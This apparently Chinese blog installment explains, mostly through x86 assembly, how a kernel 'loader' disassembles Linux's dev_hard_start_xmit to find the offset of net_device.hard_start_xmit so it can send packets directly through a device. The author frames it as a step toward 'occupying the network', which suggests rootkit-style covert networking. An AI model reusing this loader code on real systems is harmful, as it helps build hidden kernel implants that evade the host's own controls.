  255.     leal dism_addr(%edx), %edi
  256.     cld; rep movsb
  257.     movl %ebx, %ecx
  258.     leal dism_data(%edx), %edi
  259.     cld; rep movsb
  260.     subl opcode(%esp), %esi
  261.     movl %esi, ret_code(%esp)
  262.     movl %esi, dism_len(%edx)
  263. xd_out:
  264.     movl ret_code(%esp), %eax
  265.     addl $0x20, %esp
  266.     popl %edi
  267.     popl %esi
  268.     popl %edx
  269.     popl %ecx
  270.     popl %ebx
  271.     ret
  272. #undef opcode
  273. #undef retcode
  274. #undef mod
  275. #undef rm

 

好了,现在大杀器已经准备完毕了,那我们怎么用呢?

 

我们看看这个dev_hart_start_xmit的反汇编:

 

  1. 00000000 <.data>:
  2.    0: 55                    push   %ebp
  3.    1: 89 c5                 mov    %eax,%ebp
  4.    3: 57                    push   %edi
  5.    4: 56                    push   %esi
  6.    5: 53                    push   %ebx
  7.    6: 83 ec 10              sub    $0x10,%esp
  8.    9: 89 54 24 0c           mov    %edx,0xc(%esp)
  9.    d: 8b 00                 mov    (%eax),%eax
  10. 。。。。
  11.  177:   89 d8                   mov    %ebx,%eax
  12.  179:   c7 03 00 00 00 00       movl   $0x0,(%ebx)
  13.  17f:   8b 54 24 0c             mov    0xc(%esp),%edx
  14.  183:   ff 92 8c 02 00 00       call   *0x28c(%edx)
  15.  189:   85 c0                   test   %eax,%eax
  16.  18b:   89 c2                   mov    %eax,%edx
  17.  18d:   0f 85 07 01 00 00       jne    0x29a

原文如下:

 

  1. int dev_hard_start_xmit(struct sk_buff *skb, struct net_device *dev)
  2. {
  3.     if (likely(!skb->next)) {
  4.         if (!list_empty(&ptype_all))
  5.             dev_queue_xmit_nit(skb, dev);
  6.         if (netif_needs_gso(dev, skb)) {
  7.             if (unlikely(dev_gso_segment(skb)))
  8.                 goto out_kfree_skb;
  9.             if (skb->next)
  10.                 goto gso;
  11.         }
  12.         return dev->hard_start_xmit(skb, dev);
  13.     }
  14. gso:
  15.     do {
  16.         struct sk_buff *nskb = skb->next;
  17.         int rc;
  18.         skb->next = nskb->next;
  19.         nskb->next = NULL;
  20.         rc = dev->hard_start_xmit(nskb, dev);
  21.         if (unlikely(rc)) {
  22.             nskb->next = skb->next;
  23.             skb->next = nskb;
  24.             return rc;
  25.         }
  26.         if (unlikely(netif_queue_stopped(dev) && skb->next))
  27.             return NETDEV_TX_BUSY;
  28.     } while (skb->next);
  29.     skb->destructor = DEV_GSO_CB(skb)->destructor;
  30. out_kfree_skb:
  31.     kfree_skb(skb);
  32.     return 0;
  33. }

很明显,我们要找的是 call   *0x28c(%edx) 这句话。

我们先调用 xde_dism 函数逐条逐条地反汇编。如果有一条指令,opcode 段是 0xff,modrm 段的前 5 bit 是 10010。其中 mod 取 10 的时候表示这条指令是一个寄存器加一个偏移的寻址形式。reg / opcode 段为 010 的时候表示这个指令是 call ,而且地址段的长度是4个字节。最后面的 r/m 段不管,是因为它有可能是 %edx,也有可能是别的。就是找到了 call *0x28c(%edx) 。也就等于找到了 hard_start_xmit 的偏移。

我也看了下其他版本的源码,发现这招是可行的。

 

找偏移的代码如下:

 

  1.     GET_STR("dev_hard_start_xmit", %eax)
  2.     movl $19, %edx
  3.     call ksym_lookup
  4.     jz loader_out
  5.     movl %eax, %esi
  6.     
  7.     movl %esi, 4(%esp)
  8.     __DPRINT("<3>dev_hard_start_xmit is %lx/n")
  9.     
  10.     leal 0x200(%eax), %edi
  11.     call 1f
  12.     .fill sizeof_dism
  13.     1: popl %edx
  14. 2:  movl %esi, %eax
  15.     call xde_dism
  16.     testl %eax, %eax
  17.     jz loader_out
  18.     // xde_dism(dev_hard_start_xmit, dism);
  19.     
  20.     addl %eax, %esi
  21.     cmpl %edi, %esi
  22.     jbe 3f
  23.     // if (p > dev_hard_start_xmit + 0x200)
  24.     //      return;
  25.     cmpl $6, dism_len(%edx)
  26.     jnz 2b
  27.     cmpb $0xff, dism_opcode(%edx)
  28.     jnz 2b
  29.     andb $0xF8, dism_modrm(%edx)
  30.     cmpb $0x90, dism_modrm(%edx)
  31.     jnz 2b
  32.     // if (!(di->opcode == 0xff && (di->modrm & 0xF8) == 0x90))
  33.     //      continue;
  34.     // found 
  35.     movl dism_addr(%edx), %ecx
  36.     movl %ecx, 4(%esp)
  37.     __DPRINT("<3>net_device.hard_start_xmit is %lx/n")
  38. 3:

所以,现在我们可以获得 hard_start_xmit 的偏移了,也就是说,我们可以调用指定设备来发包了。所以下一章,我们将看看怎么发包。

 

离占领网络不远了,加油!

原创粉丝点击